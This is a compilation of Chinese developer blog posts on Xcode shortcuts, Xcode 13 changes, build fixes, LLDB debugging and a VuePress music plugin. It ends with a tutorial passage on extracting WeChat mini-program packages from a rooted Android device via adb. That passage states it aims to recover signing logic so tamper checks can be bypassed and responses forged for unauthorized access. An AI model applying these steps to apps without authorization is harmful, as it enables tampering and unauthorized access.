这对及时保持代码整洁非常有帮助。


2. 在所有作用域中修改


假设你发现某个方法或变量名有错误,你想要修复它。当然你不会一个个去修改,因为你知道有重构(Refactor)功能可以批量重命名,但有时候 Xcode 的重构功能可能不太靠谱。


此时你可以使用以下快捷键,选中当前文件中所有用到该变量的位置。



command + control + e / ⌘ + ⌃ + e



这将选中所有用到这个变量的位置,让你可以非常方便地更改变量名。


Demo of ⌘ + ⌃ + e


3. 查找下一个


现在,假设你不想在所有作用域中修改变量名称,而只想找到下一处;或者只想在一个函数中重命名,而不是整个类中,或者其他类似情况。有一个(和上面)非常相似的快捷键。



option + control + e / ⌥ + ⌃ + e



Demo of ⌥ + ⌃ + e


当你选中某个字符串,按下这个快捷键,Xcode 将选中下一个出现该字符串的位置。但这意味着,如果某些变量和函数同名,则下一个选中的,也许和你预期的不一样。(译注:这里指的是,并不判断是否真的是同一个变量,只是单纯的字符串匹配)。


4. 查找上一个


上面我们介绍了“查找下一个”,再多按一个键,则变成了“查找上一个”。



shift + option + control + e / ⇧ + ⌥ + ⌃ + e



Demo of ⇧ + ⌥ + ⌃ + e


5. 整行向上或向下移动


我们可能会对代码进行一些顺序调整,当然可以用经典的“剪切粘贴”,但如果我们只想将代码向上移动一行或向下移动一行,那么以下快捷键肯定会对你有所帮助。


向上移动:



option + command + [ / ⌥ + ⌘ + [



向下移动:



option + command + ] / ⌥ + ⌘ + ]



Demo of ⌥ + ⌘ + [ and ⌥ + ⌘ + ]


额外提示!你可以移动多行


如果选中多行之后再使用前面的快捷键,那么这些行将作为一个整体进行移动。


Demo of previous shortcut moving several lines as block


6. 多行光标(使用鼠标)


有时你需要在文件的不同部分中写入相同的内容,你很烦恼,因为你必须编写一次并复制粘贴几次。好吧,别再烦了。你可以使用一个快捷键同时写入多行。



shift + control + click / ⇧ + ⌃ + click



Demo of ⇧ + ⌃ + click


7. 多行光标(使用键盘)


此快捷键与上一个基本相同,但是我们不是使用鼠标来选择光标的位置,而是使用箭头向上或向下来移动光标。



shift + control + up or down /⇧ + ⌃ + ↑ or ↓




8. 快速创建带有多个参数的初始化(init)函数


上面的快捷键,我最喜欢用法之一,就是快速创建一个初始化函数,比之前的任何方法都快。



通过使用多行光标,配合其他一些快捷键,例如复制粘贴或选中整行,我们可以快速创建初始化函数。这只是这个按键的几种用途之一。


8.1 另一种方式


还有一个编辑功能,可以让你轻松地生成 “成员初始化器”(Memberwise Initializer)。你可以将光标放在类的名称上,然后找到 Editor > Refactor > Generate Memberwise Initializer。


但是,由于本文介绍快捷键,所以这里给一个小提示:可以进入 Preferences > Key Bindings,再查找对应命令,并添加快捷键。


这是操作示例:


How to add a key binding


9. 返回光标之前所在的位置


有时候你需要处理很大的文件,向上滚动查看某些内容之后,可能很难找到原来位置。有了这个快捷键,只要我们没有将光标移开,我们就可以快速跳回之前的位置。



option + command + L / ⌥ + ⌘ + L



Demo of ⌥ + ⌘ + L


10. 跳到某一行


和上一条相关,如果我们知道要跳转的那一行的行号,那么使用此快捷键,我们可以直接跳到该行。



command + L / ⌘ + L



Demo of ⌘ + L


最后的想法


这些就是我每天用来高效使用 Xcode 的十个快捷键和技巧。他们经常会派上用场。


我希望他们对你也一样有用。


如果你已经知道了这些快捷键,或者还不知道,都可以与我交流,我会很高兴。也欢迎和我分享你用到的其他有用的快捷键。


小贴士


理想情况下,你可以使用同样的快捷键,来实现前面提到的所有技巧。但是也可能取决于你的操作系统语言设置,其中一些可能略有不同。


你可以在 Xcode > Preferences… > Key Bindings 中查看特定快捷键的按键组合。


额外提示! 快速打开偏好设置(Preferences)



command + , / ⌘ + ,




如果发现译文存在错误或其他需要改进的地方,欢迎到 掘金翻译计划 对译文进行修改并 PR,也可获得相应奖励积分。文章开头的 本文永久链接 即为本文在 GitHub 上的 MarkDown 链接。







作者:FranzWang
收起阅读 »

Xcode 13 更新了哪些内容

iOS
直接进入主题。外观对比 Xcode 12,风格和显示都发生了变化:去掉了文件拓展名图标也可以识别文件类型自动调整了导航栏布局重新进行了分布和调整右下角增加了光标所在行列数文件拓展名设置:打开 设置 - 通用 选择 Fil...
继续阅读 »

直接进入主题。

外观

005XGWPvly1gun3djnsn4j627y1cku0x02

对比 Xcode 12,风格和显示都发生了变化:

  • 去掉了文件拓展名
  • 图标也可以识别文件类型自动调整了
  • 导航栏布局重新进行了分布和调整
  • 右下角增加了光标所在行列数
文件拓展名设置:

打开 设置 - 通用 选择 File Extensions

image-20210920152905766

文件拓展名的显示隐藏控制,选项有三种:

image-20210920153816172

  • Hide All:隐藏全部拓展名

  • Show All:显示全部拓展名

  • Show Only:自定义显示拓展名 ↓↓↓↓

    QQ20210921-024658-HD

    问题提醒设置:

    在 设置 - 通用 里还多了一个 Xcode 12没有的选项:Issues,对应的子选项为:Show InlineShow Minimized

    Show InlineShow Minimized
    image-20210920155859979image-20210920155918641

    对比 Show InlineShow Minimized 把问题提醒最小化到了右侧,当开发者点击对应的问题时,会显示出来。

    优点一目了然,界面整洁,没有一堆提示文字和红蓝色。

    缺点则是无法直接的查看问题原因,即使是点击出来,也没有像前者那样直接的把问题精准的定位具体代码中。

    image-20210920160709412

    不过这个也不能够算是缺点,只是说提示的没有那么的明显,这点根据个人喜好选择就行。

    info.plist

    info.plist 文件内容减少,甚至使用 SwiftUI 创建项目,已经移除了 info.plist 文件,真是把简洁做到了极致

    Storyboard 创建SwiftUI 创建
    image-20210921172421609image-20210921173002487

    当然,只是当前 info.plist 文件没有显示之前的内容,在 Project - Target - Info 下,对应的信息还是存在的,且如果你在 info.plist 文件内新增了的话,依旧会在 Project - Target - Info 下显示出来的。

    至于 SwiftUI 下没有 info.plist 文件,开发者可以自行创建,具体方式可以看这里

    我不能接受

    有一个地方的改变我不能接受,那就是:编译成功失败的提醒框没有啦

    Xcode 12Xcode13
    005XGWPvly1gun4lqd89kg60ig0b80vi02005XGWPvly1gun4lsjs0jg60ig0b841m02

    Xcode 13 中,不管是编译还是运行,都没有了最后的提示框。在设置中也没有找到对应的选项。

    对于我这种经常写 Bug 的人来说,看不到弹出来的 Build Succeeeded,简直是要命。苹果你赶紧给我改回来...

更新:

评论区小伙伴给出解决方案:通知栏会提示编译成功或者失败的提示。

感谢指出,Xcode 13 版本之前也有这个提示, 我一直都忽略了这个地方,平时都把大多数应用的通知都给关了。

让我意外的是:我自己的笔记本 设置 - 通知 里面竟然没有找到 Xcode 这个应用。。。我又不会玩了~

自动补全

import

在开发过程中,经常会出现没有导入头文件就开始直接调用文件,这个时候就会比较尴尬,特别是当代码行数比较多的时候,要先回到顶部导入头文件,再回来继续写,有时候甚至都找不到刚才的位置在哪了...

Xcode 13 解决了这个问题,当你使用一个没有导入头文件的库时,会智能帮助你导入对应的头文件,非常 nice

QQ20210920-163257-HD

switch

Xcode 13 以前,使用 switch 调用枚举的时候,如果想快速调出全部的 case,就只能输入代码后等着 Xcode 给你提示 Switch must be exhaustive 然后 Fix 加载全部的 case

QQ20210920-172130-HD

Xcode 13 中,你是需要正常输入代码,就会自动的显示出来了

QQ20210920-171833-HD

摸鱼的时间又增加了

不过并不是所有的情况都支持,在使用接口请求的时候,回调的Result 类型目前就无法自动补全,只能手动输入。不知道是苹果故意为之还是。。。。

QQ20210920-172656-HD

if / guard let

Xcode 13 中,使用 if 、guard 判断一个 Optional 参数的时候,也会同名自动补全。就很舒服

QQ20210920-173543-HD

for

使用 for...in 循环语句遍历一个数组的时候,Xcode 13 会根据数组名自动生成子元素名自动补全循环

QQ20210920-175028-HD

当然,即使你输入的数组名不是那么的标准,Xcode 也还是会根据它自动识别的进行补全,比如:如果你的数组名是 number 而不是 numbers 的时候,Xcode 的自动补全依旧是 for number in number。所以,还是尽量保证代码命名的正确性吧。

列断点

Swift 链式语法在开发过程中会使代码变得非常美观和整洁,与之带来的部分问题也会出现,就是无法直观的看到每块代码的具体值,每次想查看的时候只能通过声明一个新的变量来赋值查看,这很不Swift

Xcode 13 可以使用给每行代码的任意位置设置断点,通过打印日志来查看详细内容。

可能对于这个 列断点 描述的不是太清楚。可以通过具体操作来了解。

首先创建 列断点:再所选代码位置右键 - Show Code Actions - Create Column Breakpoint

QQ20210920-182540-HD

列断点 跟之前的 行断点 一样,可以 单击、双击、和拖拽。对应的功能也一样。

运行代码,在断点位置处,通过打印日志查看:

QQ20210920-183129-HD

这个功能增加的蛮不错的。

vim

现在你可以从 Xcode 13 中使用 vim 模式来编写代码了。

beta 5 版本中,通过 Editor - Vim Mode 来开启和关闭 vim 模式了。

开启后,Xcode 底部会有对应的快捷键提示。非常友好

image-20210921022842159

其他

除了以上这些之外,Xcode 13 还增加和完善了很多的功能,比如:优化了版本控制功能、新增了 Xcode Cloud 和可以直接在 Xcode 中构件展示官方文档了等等..

image-20210921024217111

更多更详细的内容就需要各位开发者自己亲自去研究和探索了。

总结

相对于之前的版本来说,Xcode 13 看起来让人感觉更加的舒服了,不管是文件风格还是展示形式都显得干净简洁。

当然安装包也还是那么大、还是那么的吃内存。无解~

目前使用起来还是比较顺手的,就是赶紧把编译提醒框退回来,不然每次 command + B 后都要网上看,多别扭。

收起阅读 »

升级到xcode13碰到的问题

iOS
经过了半个月的时间, xcode 没有暴露出来大的 BUG , 可以安心的升级了 然后问题来了, 各种适配问题, 开始撸起来 问题 : The Legacy Build System will be removed in a future release...
继续阅读 »

经过了半个月的时间, xcode 没有暴露出来大的 BUG , 可以安心的升级了


Xcode版本


然后问题来了, 各种适配问题, 开始撸起来



  1. 问题


: The Legacy Build System will be removed in a future release. You can configure the selected build system and this deprecation message in File > Workspace Settings.


错误详情


解决方案:



菜单栏 File->Workspace Settings-> BuildSystem

选择使用 New Buile System(Default)


错误详情



  1. 问题, 文件引入问题(Xcode12之前没有问题)



Multiple commands produce '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/PEDat_wb.bundle':

1) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/WBCloudReflectionFaceVerify_framework/Resources/PEDat_wb.bundle' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/PEDat_wb.bundle'

2) That command depends on command in Target 'dudu' (project 'dudu'): script phase “[CP] Copy Pods Resources”

Multiple commands produce '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/WBCloudReflectionFaceVerify.bundle':

1) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/WBCloudReflectionFaceVerify_framework/Resources/WBCloudReflectionFaceVerify.bundle' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/WBCloudReflectionFaceVerify.bundle'

2) That command depends on command in Target 'dudu' (project 'dudu'): script phase “[CP] Copy Pods Resources”

Multiple commands produce '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/detector_wb.bundle':

1) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/WBCloudReflectionFaceVerify_framework/Resources/detector_wb.bundle' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/detector_wb.bundle'

2) That command depends on command in Target 'dudu' (project 'dudu'): script phase “[CP] Copy Pods Resources”

Multiple commands produce '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/ufa_wb.bundle':

1) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/WBCloudReflectionFaceVerify_framework/Resources/ufa_wb.bundle' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/ufa_wb.bundle'

2) That command depends on command in Target 'dudu' (project 'dudu'): script phase “[CP] Copy Pods Resources”



解决方案:



target->Build Phases

具体如图, 报错的文件就行了



错误详情



  1. 问题: info.plist 文件问题, 由于项目中使用的库手动拉进来的,



Multiple commands produce '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/Info.plist':

1) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/dudu/Libs/AliyunOSSiOS/Info.plist' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/Info.plist'

2) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/dudu/SupportingFiles/Info.plist' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/Info.plist'

3) Target 'dudu' (project 'dudu') has process command with output '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/Info.plist'



解决方案:



直接删除手动拉进来的库里面的 `info.plist` 文件




  1. 项目里面有个 VERSION 的文件, 想不明白这个为啥



Multiple commands produce '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/VERSION':

1) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/dudu/Libs/ST_Mobile/SenseArSourceService/VERSION' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/VERSION'

2) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/dudu/Libs/ST_Mobile/VERSION' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/VERSION'



解决方案:



修改一下 `VERSION` 的文件名称: 或者删除文件




  1. 处理了上面的问题, 依旧还是有问题, 接着修改



Multiple commands produce '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/Info.plist':

1) Target 'dudu' (project 'dudu') has copy command from '/Users/imac/Desktop/dudu_dev/dudu/dudu/SupportingFiles/Info.plist' to '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/Info.plist'

2) Target 'dudu' (project 'dudu') has process command with output '/Users/imac/Library/Developer/Xcode/DerivedData/dudu-awglbcqfapsmfngrajrwibtvgoph/Build/Products/Debug-iphoneos/dudu.app/Info.plist'



解决方案:



1. 找到 Products 文件夹下的 项目, 邮件 show in finder, 然后向上找, 找到 DerivedData 文件下, 删除对用的文件

到这里这个问题应该已经修复了, 如果还有问题, 继续

2. Build Settings 里面 找到 info.plist 文件夹的位置, (先复制一下路径) 删除, 编译一下, 然后再添加上路径

如果还是不行:

3 Build Phases 里面 Copy Bundle Resources 删除 info.plist 文件



错误详情


好了, 到现在, 我的项目已经能正常运行了,


在翻阅的时候发现 JWAutumn 同学的文章 Xcode 13 更新了哪些内容 这个文章已经更新的比较全了, 可以参考一下


不知道有没有碰到其他问题的, 可以私信我一下, 给加在上面, 供大家参考




  1. Xcode 编译结果的提示, 中间的 Build Successed 和 小锤子不出来了, 没找到在哪里能修改的, 只能在软件上面提示, 感觉习惯了小锤子的提示, 这个修改感觉很不友好




  2. XcodeSnippets (就是自定义的代码块) 不自动提示了, 需要将自定义的名称打全才出来提示 , 比如: 设置的 mark 只有全部打出来才提示代码块, 不然不提示, 也是不友好, 目前没发现在哪里可以提示的




  3. 以前修改的文件, 当前文件的名字变灰, 知道编译后有哪些文件修改过了, 现在直接没了, 没找到哪里设置的 (这个修改很不友好)







作者:Keya
链接:https://juejin.cn/post/7016195057266999304

收起阅读 »

Xcode调试技巧总结

iOS
前言 本来觉得调试是一件很简单的事情,但是看了很多介绍调试方法的文章,发现有些技巧并不知道,有必要对常用的Xcode调试技巧做一个总结,提高工作效率。 一、调试面板 上方:断点开关、继续执行、单步执行、单步步入、单步步过等命令; 左边:watch窗口,负责变...
继续阅读 »

前言


本来觉得调试是一件很简单的事情,但是看了很多介绍调试方法的文章,发现有些技巧并不知道,有必要对常用的Xcode调试技巧做一个总结,提高工作效率。


一、调试面板


image.png


上方:断点开关、继续执行、单步执行、单步步入、单步步过等命令;

左边:watch窗口,负责变量信息显示,如果想查看寄存器的内容,可以将左下角的Auto切换为All

右边:日志窗口,接受和显示程序日志,左下角可以选择All/Debugger/Target output


二、断点


1- 普通断点


找到下断点的代码行,可以通过下面3种方式下断点:

(1)导航栏:Debug->Breakpoint->Add Breakpoint at Current Line

(2)快捷键:command +

(3)鼠标:直接在编辑区域左边行号的地方左键


大部分情况普通断点就满足需求了,但是对于一些特殊的调试情况,还需要掌握一些其他类型的断点。


2- 条件断点


适用场景

(1)一个函数重复多次被调用,但是只需要调试其中某一次的情况时;

(2)对于一些因为异常数据导致的bug调试也很实用;

下断点: 右键普通断点 -> Edit Breakpoint,条件断点和普通断点相比只是多了一个条件判断而已,和我们手动在断点代码加一个if条件判断效果一样,只有满足条件的情况才会断下来;


image.png


3- 符号断点


符号断点: 其实就是对一个特定的函数名下断点,这里的方法可以是OC方法或者C++函数名;

适用场景: 调试一些没有源码的模块时比较有用,比如调试一个第三方提供的Lib库,或者系统模块,可以给相应函数下断点,调试程序的运行流程,查看一些参数信息;

下断点 :断点Tab页 -> 点击下面+号 -> Symbolic Breakpoint


image.png


image.png


设置符号断点可以输入类名+函数名,也可以只输入函数名,xcode会自动匹配不同类中同名的方法进行断点,如下DJTPerson和DJTAnimal都有-(void)djt_run方法,会自动生成两个断点,一旦被调用就会命中断点:


image.png


4- 异常断点


适用场景: 异常断点用来调试程序抛出异常而导致退出,下个异常断点很快就能定位运行到那行代码出了问题;

下断点: 断点Tab -> 左下角+号 -> Exception Breakpoint

Exception Breakpoint也是可以编辑的,可以选择Exception类型,也可以选择在抛出异常或者捕获异常的时候断点等;


image.png


注:有的程序会使用异常来组织程序逻辑,比如微信扫一扫,所以如果Exception选了All,那么异常断点会频繁触发,所以这种情况可以只选择Objective-C异常。


下面是一个异常断点,在DJTPerson类中只有djt_run方法的声明没有实现,触发断点:


image.png


5- watch断点


顾名思义:watch断点就是当某个变量发生改变时触发的断点;

适用场景: watch断点对于要跟踪某个变量或者某个状态的变化时非常有用的,可以方便的跟踪到哪些地方改变了变量的值。

下断点: 在xcode的watch窗口 -> 右键需要watch的变量 -> watch "Xxx":


image.png


如例子中,当_name变量发生变化时调试器会自动断下来,同时输出变化信息:
image.png


6- 线程断点


线程断点: 线程断点适用在调试多线程代码的时候,一段代码可能会被多个线程同时执行,如果下普通断点,那么你会在不同线程之间切来切去,最后自己都迷糊了,这个时候可以使用多线程断点。

下断点: 调试区域右边控制台输出 -> breakpoint set –f 文件名 –l 行号 –t 线程id


下面例子在28行设置普通断点,就可以在控制台打印 thread-id,控制台输入:


thread info

获取当前线程id,在控制台通过命令行给32行设置线程断点:


breakpoint set -f ViewController.m -l 32 -t 0x331854

image.png


7- 断点后的Action


断点后的Action: 当断点被触发可以执行的一些操作;

下断点: 右键断点 -> Edit Breakpoint -> Add action


action类型很多,有调试命令、apple script、shell script等:

image.png


下边是在运行到断点后po一下person.name,直接打印了name的值:
image.png


如果觉得仅仅输出对象信息不够,还想加一些自己指定的内容,可以使用Log Message。


image.png


三、常用命令


1- p命令


p命令:查看基本数据类型的值

po命令:查看oc对象

简单查看一个变量或者OC对象的值在watch窗口完全可以满足,但是如果需要查看一个oc对象的属性,或者一个oc对象方法的返回值怎么办呢?p和po命令后面都可以接相应的表达式,如:


image.png


2- expr命令


expr命令:全称expression,可以在调试时动态修改变量的值,同时打印出结果。使用expr命令动态修改变量的值,可以在调试的时候覆盖一些异常路径,对调试异常处理的代码很有用。


image.png


3- call命令


call命令用来动态调用函数,可以在不增加代码不重新编译的情况下动态调用一个方法。下例动态将view1从父view移除:


image.png


4- image命令


image命令可以列出当前app中的所有模块,可以查找一个地址对应的代码位置,在调试越狱插件时,可以用image list命令查看越狱插件是否注入自己的App。当遇到crash时,查看线程栈只能看到栈帧的地址,使用image lookup -address 地址命令可以方便的定位这个地址对应的代码行。


5- bt命令


bt命令可以查看线程的堆栈信息,该信息也可以在导航区的Debug Navigator看到;

bt:打印当前线程栈
bt all:打印所有线程栈


image.png


分割线:上边介绍了基本的调试技巧,下面是一些不同场景下的调试经验


四、多线程


场景:在调试的时候bug不出现,一旦关闭调试直接运行bug就出现:这种问题大部分是因为多线程bug,而调试影响了多线程的执行顺序。

技巧:这种问题可以在关键点输出log,之前介绍的断点action中的Log Message就派上用场,这样的好处是不需要在代码中添加冗余的log即可调试;在调试多线程问题时,合理使用线程断点和条件断点也是很有帮助的;


五、UI调试


1-控件信息


查看控件信息除了使用p和po命令,还可以使用expr命令修改控件属性,如内容、坐标、大小等,这样可以不重启程序看到界面的变化;


2-界面结构


查看界面结构:po [view recursiveDescription],该命令可以打印出view的所有子view的结构关系,对于调试界面层级关系很有用;


3-快速预览


xcode支持在调试时对变量进行快速预览,调试时将鼠标放在变量上,然后点击快速预览按钮即可看到控件的显示。


image.png


4-符号断点跟踪UI变化


对于一些系统控件的信息,如果发现最终显示和自己设置的不一样,可以使用符号断点,在一些设置函数下断点,这样就可以很清晰的看到是从哪里改变了这个属性的值。比如一个UIButton的title在显示的时候和设置的不一样,只需要符号断点设置setTitle就可以跟踪哪里改了值;



作者:D___
链接:https://juejin.cn/post/6950852311346315271

收起阅读 »

我做了一款vuepress的音乐可视化播放插件

体验地址:博客,github,npm前言博客上的音乐播放器,大多都长一个样,小小的,塞在页面的一个角落里,在别人阅读文章的同时可以听音乐,增加某些体验的满意指数。而我,做了一件不太一样的事情:博客不就是让人看文章的么?再播放音乐甚至有可能会降低阅读的质量,那听...
继续阅读 »



体验地址:博客githubnpm

前言

博客上的音乐播放器,大多都长一个样,小小的,塞在页面的一个角落里,在别人阅读文章的同时可以听音乐,增加某些体验的满意指数。而我,做了一件不太一样的事情:

博客不就是让人看文章的么?再播放音乐甚至有可能会降低阅读的质量,那听歌就好好听歌不好么?既然要体验,那就沉浸体验到爽不好么?

某天,偶然打开了豆瓣FM网页版,很符合豆瓣的感觉,干净简洁,当然网上类似的音乐播放有很多,这里为我后面做的事情埋下了伏笔。

我博客是用 vuepress 搭建的,主题是 vuepress-reco,最开始想找一个播放音乐的插件,于是去找了 awesome-vuepress,搜到唯一和音乐相关的插件,只有一个叫:vuepress-plugin-music-bar 的插件.....还是个bar....有点失落。于是,没人做?那...我做个试试?最终的效果图就是上面看到的四张图了:亮/暗系歌词,亮暗系可视化解码。在看完 vuepress 官网的插件api,就开始搞了!

开搞

不管怎么画页面,初衷是沉浸式体验,找了很多播放器的大体结构,还是觉得网易云的播放界面算比较舒服的,自己也有尝试画过脑海里的播放界面,但是最终还是选择用网易云的效果(拿来吧你):左侧黑胶唱片滚动,右侧歌词滚动, 目前不需要上一曲下一曲,就有播放和分享按钮,也就是长这个样子:

一天半时间,匆匆忙忙做完之后,npm link 调试成功就发了一版npm包。好用?不好说。能不能用?能!

优化

做到这里之后,沉浸式有那么点感觉了,体验?照搬过来就是好的体验么?不,还是要加点东西,比如可视化

这里特别感谢网易云大前端团队的一篇文章:Web Audio在音频可视化中的应用,基本上照着看下来,里面的文献也看一下,就可以做出来上面的效果。说实话,文献是真头大....波长,正余弦,频域时域,奈奎斯特定理,还有什么快速傅里叶变换,头发在偷偷的掉...顺便附上一张某个文献的截图:

不过不看这些也可以做出来!

基本上的思路就是:

  1. 创建 AudioContext,关联音频输入,进行解码、控制音频播放和暂停

  2. 创建 analyser ,获取音频的频率数据(FrequencyData)和时域数据(TimeDomainData)

  3. 设置快速傅里叶变换值,信号样本的窗口大小,区间为32-32768,默认2048

  4. 创建音频源,音频源关联到分析器,分析器关联到输出设备(耳机、扬声器等)

  5. 获取频率数组,转格式,然后用 requestAnimationFrame 通过 canvas 画出来

这些东西上面的文章里讲的很详细,我这种门外汉就不多说啥了。

遇到的问题

npm link

之前使用 npm link 的时候,依赖包没有三方/四方的依赖,所以没注意到,如果开发的npm包带有别的依赖,那么调试的时候要在主项目里的 package.json 先加上这些包,就不会报错说 resolve 失败什么的了,调试结束记得 npm unlink 断开。

接口

本来想用的是 网易云音乐 NodeJS 版 API,但是有些东西不好找,比如我需要歌曲id,封面和歌词,但是文档里没有歌曲id反查专辑id的(封面在专辑id里),只有一个歌曲详情的,但是这个接口,还需要认证跳转....对于使用者来说,我没必要让使用者多这么一步操作,而且很容易出错。于是就换了一个api:保罗API,这个API可以解析的网易云歌曲不是那么的多,不过一般的够了,唯一的缺点就是,多频次刷新会一直 pending,应该是后端设置了ip频次。

既然都有问题,不使用接口行么?尝试找一种 mp3 文件解析出来歌词和封面呢?找到一个 jsmediatags 的仓库,可以解析ID3v2,MP4,FLAC等字段,但是.....这不就是给用户添加麻烦么?需要找专辑,歌词,歌曲,艺人信息全部合一的音源文件....如果我是用户,我不会用它。

翻来覆去,最终还是决定,歌曲用户传进来,然后再传一个歌曲id,封面和歌词走接口,歌曲就是传进来的音源链接,使用方法如下:

<MusicPlayer musicId="xxx" musicSrc="xxx.mp3" style="margin:0 auto">

音源我个人建议要么放vuepress的静态资源,要么就搞成类似图床一样的音源仓库,这样也好维护。

后期想办法优化吧。

主题色

亮系和暗系是适配 vuepress-reco 的主题切换做的适配。

结尾

灵感来自 豆瓣FM,结构参考了昊神的 音乐播放器,可视化播放参考了 Web Audio在音频可视化中的应用,接口感谢 保罗API,这么一说我好像也没做什么事.....

该插件已发npm包,awesome-vuepress 仓库也已收录,可能多少还会有点体验上的小问题,会慢慢修复的。大家也可以提建议,能听进去算我输!

项目写的匆匆忙忙,希望可以做一点更有深度的东西吧——致自己。


作者:道道里
来源:https://juejin.cn/post/7045944008190722079

收起阅读 »

微信小程序反编译获取源码

文章目录 前言一、前置条件二、操作步骤1.进入adb shell2.提取源码编译文件3.反编译前言 对微信小程序进行源码反编译,一般目的为:获取js签名算法,过数据包的防篡改策略获取接口的判断逻辑,一般用于修改返回包来达到未授权的效果,在尝试无法找到争取的返回...
继续阅读 »



文章目录

前言

对微信小程序进行源码反编译,一般目的为:

  • 获取js签名算法,过数据包的防篡改策略

  • 获取接口的判断逻辑,一般用于修改返回包来达到未授权的效果,在尝试无法找到争取的返回值的时候,需要从源码来进行构造

本文旨在记录如何对一个微信小程序进行编译获取其源码,后续分析不做分享,因目的不同,分析的方式也会不同

一、前置条件

需要一台root了的安卓测试手机,root的方式请自行查找。如果是红米手机,可以参考我的root方式,博客链接

本文演示的步骤,基于macbook m1进行,其他设备操作基本也差不多

二、操作步骤

1.进入adb shell

命令如下(示例):

(base)   ~ adb shell
davinci:/ $ whoami
shell
# 提权
davinci:/ $ su root
davinci:/ # whoami
root

2.提取源码编译文件

代码如下(示例):

davinci:/ # cd /data/data/com.tencent.mm                                                                                                               
davinci:/data/data/com.tencent.mm # ls
982178cdd5589cb042c4efb99be0333c  WebNetFile                        ipcallCountryCodeConfig.cfg  recovery        version_history.cfg
CheckResUpdate                    appbrand                          last_avatar_dir              regioncode      webcompt
ClickFlow                         autoauth.cfg                      luckymoney                   snsreport.cfg   webservice
CompatibleInfo.cfg                channel_history.cfg               media_export.proto           staytime.cfg    webview_tmpl
CronetCache                       configlist                        mmslot                       systemInfo.cfg
NowRev.ini                        deviceconfig.cfg                  mobileinfo.ini               textstatus
ProcessDetector                   ee1da3ae2100e09165c2e52382cfe79f  newmsgringtone               tmp
WebCanvasPkg                      heavy_user_id_mapping.dat         patch_ver_history.bin        trace

重点关注一个很长的用户随机码,比如ee1da3ae2100e09165c2e52382cfe79f和982178cdd5589cb042c4efb99be0333c,分别访问判断即可

davinci:/data/data/com.tencent.mm/MicroMsg # cd ./982178cdd5589cb042c4efb99be0333c/                                                        
davinci:/data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c # cd appbrand/                                                          
davinci:/data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c/appbrand # ls
pagesidx  pkg  web_renderingcache
davinci:/data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c/appbrand # cd pkg/  
davinci:/data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c/appbrand/pkg # ls
_-1223314631_166.wxapkg  _-1991183043_171.wxapkg  _-86252332_166.wxapkg   _1233860900_205.wxapkg  _1233860900_230.wxapkg  _2106768478_166.wxapkg
_-1223314631_167.wxapkg  _-289032338_166.wxapkg   _-86252332_167.wxapkg   _1233860900_206.wxapkg  _1233860900_231.wxapkg  _2106768478_171.wxapkg
_-1223314631_168.wxapkg  _-289032338_167.wxapkg   _-86252332_168.wxapkg   _1233860900_207.wxapkg  _1233860900_232.wxapkg  _288413523_8.wxapkg

这些wxapkg即编译后的小程序源码,为了准确找到目标小程序对应的wxapkg文件,可以重新访问目标小程序,之后对这些包进行排序,找到最新的

davinci:/data/data/com.tencent.mm/MicroMsg/982178cdd5589cb042c4efb99be0333c/appbrand/pkg # ls -lt                                                    
total 238092
-rw------- 1 u0_a239 u0_a239   907997 2021-12-26 15:25 _255193015_171.wxapkg
